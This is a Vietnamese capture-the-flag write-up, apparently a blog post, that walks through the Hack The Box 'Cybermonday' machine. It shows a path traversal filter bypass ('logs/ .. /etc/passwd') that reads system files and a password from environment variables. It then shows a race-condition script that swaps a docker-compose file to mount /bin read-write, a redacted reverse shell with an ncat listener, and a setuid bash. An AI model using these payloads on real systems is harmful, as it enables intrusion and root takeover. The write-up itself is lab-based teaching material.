Cybermonday Flag

 

Gaining access john

Tôi biết rằng mình không thể sử dụng được quá nhiều công cụ trong docker. Khi sử dụng lệnh hostname tôi thấy rằng box IP: 172.18.0.3, sử dụng nmap static để scan các IP khác có thể có:
Có quá nhiều docker ở đây.
Tại đây tôi thấy cybermonday_registry_1 có ip 172.18.0.4, sử dụng chisel hoặc bất kỳ công cụ nào khác giúp tôi có thể scan được port, và tôi phát hiện ra rằng nó giống box Insane mà tôi đã từng làm trong thời gian gần đây. Forward port đó và tôi có thể lấy được nội dung của các file:

Truy cập từng file và tôi có source code của webhooks-api-beta.cybermonday.htb.

Trong source code tôi tìm thấy:

<?php

namespace app\routes;
use app\core\Controller;

class Router
{
    public static function get()
    {
        return [
            "get" => [
                "/" => "IndexController@index",
                "/webhooks" => "WebhooksController@index"
            ],
            "post" => [
                "/auth/register" => "AuthController@register",
                "/auth/login" => "AuthController@login",
                "/webhooks/create" => "WebhooksController@create",
                "/webhooks/:uuid" => "WebhooksController@get",
                "/webhooks/:uuid/logs" => "LogsController@index"
            ],
            "delete" => [
                "/webhooks/delete/:uuid" => "WebhooksController@delete",
            ]
        ];
    }

    ...
}

Tôi thấy rằng ở đây có một api nữa tồn tại mà không được cung cấp chính thức: /webhooks/:uuid/logs

<?php

namespace app\controllers;
use app\helpers\Api;
use app\models\Webhook;

class LogsController extends Api
{
    public function index($request)
    {
        $this->apiKeyAuth();

        $webhook = new Webhook;
        $webhook_find = $webhook->find("uuid", $request->uuid);

        if(!$webhook_find)
        {
            return $this->response(["status" => "error", "message" => "Webhook not found"], 404);
        }

        if($webhook_find->action != "createLogFile")
        {
            return $this->response(["status" => "error", "message" => "This webhook was not created to manage logs"], 400);
        }

        $actions = ["list", "read"];

        if(!isset($this->data->action) || empty($this->data->action))
        {
            return $this->response(["status" => "error", "message" => "\"action\" not defined"], 400);
        }

        if($this->data->action == "read")
        {
            if(!isset($this->data->log_name) || empty($this->data->log_name))
            {
                return $this->response(["status" => "error", "message" => "\"log_name\" not defined"], 400);
            }
        }

        if(!in_array($this->data->action, $actions))
        {
            return $this->response(["status" => "error", "message" => "invalid action"], 400);
        }

        $logPath = "/logs/{$webhook_find->name}/";

        switch($this->data->action)
        {
            case "list":
                $logs = scandir($logPath);
                array_splice($logs, 0, 1); array_splice($logs, 0, 1);

                return $this->response(["status" => "success", "message" => $logs]);
            
            case "read":
                $logName = $this->data->log_name;

                if(preg_match("/\.\.\//", $logName))
                {
                    return $this->response(["status" => "error", "message" => "This log does not exist"]);
                }

                $logName = str_replace(' ', '', $logName);

                if(stripos($logName, "log") === false)
                {
                    return $this->response(["status" => "error", "message" => "This log does not exist"]);
                }

                if(!file_exists($logPath.$logName))
                {
                    return $this->response(["status" => "error", "message" => "This log does not exist"]);
                }

                $logContent = file_get_contents($logPath.$logName);
                


                return $this->response(["status" => "success", "message" => $logContent]);
        }
    }
}

Trong đoạn mã trên dịch vụ gọi apiKeyAuth() kiểm tra xem api có được cấp quyền cho phép hay không.

public function apiKeyAuth()
    {
        $this->api_key = "********-****-****-****-************";

        if(!isset($_SERVER["HTTP_X_API_KEY"]) || empty($_SERVER["HTTP_X_API_KEY"]) || $_SERVER["HTTP_X_API_KEY"] != $this->api_key)
        {
            return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
        }
    }

Tôi biết rằng trường trình đang kiểm tra header x-api-key, nếu đúng tôi mới có quyền truy cập xem file và đọc file. Tôi biết rằng trương trình tìm kiếm trong db với uuid trùng với uuid của tôi thông qua $webhook_find = $webhook->find("uuid", $request->uuid);, mà tôi có quyền truy cập vào db, tôi chỉ cần sử dụng chisel chuyển tiếp cổng tới IP 172.18.0.6 giống như bên trên.

Tôi biết rằng khi kiểm tra với action list nó sẽ liệt kê toàn bộ file trong logPath: $logPath = "/logs/{$webhook_find->name}/";

khi đó nếu tôi thay đổi name tests thành ../ :

Khi đó kết quả tôi nhận được khi call api sẽ là:
Tôi đã có được danh sách các file trong root ở docker khác. Bây giở tôi cần phải đọc chúng, nhưng có vẻ như tôi cần phải bypass vì dịch vụ chặn một số từ đặc biệt.
if(preg_match("/\.\.\//", $logName))
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}

$logName = str_replace(' ', '', $logName);

if(stripos($logName, "log") === false)
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}

if(!file_exists($logPath.$logName))
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
Đầu tiên dịch vụ lọc logNane không được có ký tự ../ có lẽ để chống lỗi lfi, Nhưng sau đó lại xóa các ký tự whitespace. Tôi nghĩ mình có thể bypass được điều này đây là lỗi do lập trình viên, đáng ra họ phải xóa whitespace trước khi kiểm tra ../ 
Cuối cùng là kiểm tra xem có cứ từ log trong logNane không, có vẻ như người viết mã muốn kiểm tra file có phần mở rộng là file log thì mới được đọc. Nhưng nó cũng rất dễ để bỏ qua.
Payload như sau:
logs/ .. /etc/passwd
Với payload như trên tôi đảm bảo được tồn tại "log" trong logName và không chứa ký tự ../ vì sau đó dịch vụ sẽ tự động xóa các ký tự whitespace.
Kết quả tôi thu được như sau:
Bây giờ tôi đã có thể đọc file tìm kiếm một số file và đọc chúng. Nhưng tôi nhận ra rằng đây là docker, nếu muốn truyền password thì phải thông qua environment variables. Đọc nó và tôi lấy được thông tin pass.
Còn thông tin user thì ở ngay trên docker mà tôi có, tìm kiếm các file trong docker của mình, tôi có thông tin user.
Sau khi có được pass login ssh:

Privilege escalation

Kiểm tra mã nguồn secure_compose:
#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal

def get_user():
    return os.environ.get("SUDO_USER")

def is_path_inside_whitelist(path):
    whitelist = [f"/home/{get_user()}", "/mnt"]

    for allowed_path in whitelist:
        if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
            return True
    return False

def check_whitelist(volumes):
    for volume in volumes:
        parts = volume.split(":")
        if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
            return False
    return True

def check_read_only(volumes):
    for volume in volumes:
        if not volume.endswith(":ro"):
            return False
    return True

def check_no_symlinks(volumes):
    for volume in volumes:
        parts = volume.split(":")
        path = parts[0]
        if os.path.islink(path):
            return False
    return True

def check_no_privileged(services):
    for service, config in services.items():
        if "privileged" in config and config["privileged"] is True:
            return False
    return True

def main(filename):

    if not os.path.exists(filename):
        print(f"File not found")
        return False

    with open(filename, "r") as file:
        try:
            data = yaml.safe_load(file)
        except yaml.YAMLError as e:
            print(f"Error: {e}")
            return False

        if "services" not in data:
            print("Invalid docker-compose.yml")
            return False

        services = data["services"]

        if not check_no_privileged(services):
            print("Privileged mode is not allowed.")
            return False

        for service, config in services.items():
            if "volumes" in config:
                volumes = config["volumes"]
                if not check_whitelist(volumes) or not check_read_only(volumes):
                    print(f"Service '{service}' is malicious.")
                    return False
                if not check_no_symlinks(volumes):
                    print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
                    return False
    return True

def create_random_temp_dir():
    letters_digits = string.ascii_letters + string.digits
    random_str = ''.join(random.choice(letters_digits) for i in range(6))
    temp_dir = f"/tmp/tmp-{random_str}"
    return temp_dir

def copy_docker_compose_to_temp_dir(filename, temp_dir):
    os.makedirs(temp_dir, exist_ok=True)
    shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))

def cleanup(temp_dir):
    subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    shutil.rmtree(temp_dir)

def signal_handler(sig, frame):
    print("\nSIGINT received. Cleaning up...")
    cleanup(temp_dir)
    sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Use: {sys.argv[0]} <docker-compose.yml>")
        sys.exit(1)

    filename = sys.argv[1]
    if main(filename):
        temp_dir = create_random_temp_dir()
        copy_docker_compose_to_temp_dir(filename, temp_dir)
        os.chdir(temp_dir)

        signal.signal(signal.SIGINT, signal_handler)

        print("Starting services...")
        result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        print("Finishing services")

        cleanup(temp_dir)
Nhìn vào đoạn code trên thôi thấy rằng logic code khá chặt trẽ tôi đã thử mọi cách để volumes folder nhưng đều không thành công với con đường thông thường, nó sẽ bị lỗi. Người viết code này rất giỏi. Nhưng khi tôi nhìn vào:
temp_dir = create_random_temp_dir()
copy_docker_compose_to_temp_dir(filename, temp_dir)
os.chdir(temp_dir)
Nhận thấy rằng nó sẽ tạo một file ở folder /tmp/tmp-*, và copy hoàn toàn nội dung file yml của tôi qua file đó, sau đó nó mới thực hiện docker-compose trên folder /tmp/tmp-*. Tôi có một ý tưởng rằng trước khi chương trình chạy docker-compose, tôi thực hiện sửa đổi file trong /tmp/tmp-* thì tôi có thể điều kiển được mọi thứ.
payload như sau:
john@cybermonday:~$ cat dryu8.yml
version: "3"
services:
    dryu8:
        image: cybermonday_api
        command: '***REVERSE SHELL***'
        volumes:
            - /mnt:/logs:ro
john@cybermonday:~$ cat exploit.yml
version: "3"
services:
    dryu8:
        image: cybermonday_api
        command: '***REVERSE SHELL***'
        volumes:
            - /bin:/logs:rw
john@cybermonday:~$
john@cybermonday:~$ cat exploit.sh
#!/bin/bash
sudo /opt/secure_compose.py dryu8.yml &
while true
do
        if test -e /tmp/tmp*/docker-compose.yml; then
                cp exploit.yml /tmp/tmp*/docker-compose.yml
                break
        fi
done
john@cybermonday:~$
Sau đó tôi thực hiện khai thác như sau:
john@cybermonday:~$ ./exploit.sh
Starting services...
john@cybermonday:~$ Finishing services

#----------------------
PS D:\thehackbox\Machines\Cybermonday> ncat.exe -l 4444
root@bbdaca545d43:/var/www/html# cd /logs
cd /logs
root@bbdaca545d43:/logs# ls -la bash
ls -la bash
-rwxr-xr-x 1 root root 1234376 Mar 27  2022 bash
root@bbdaca545d43:/logs# chmod u+s bash
chmod u+s bash
root@bbdaca545d43:/logs#
PS D:\thehackbox\Machines\Cybermonday>
Cuối cùng tôi nhận được kết quả sau:


Cuối cùng cũng kết thúc, cái máy này. Tôi đi uống bia đây. Hẹn gặp lại sau.


Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post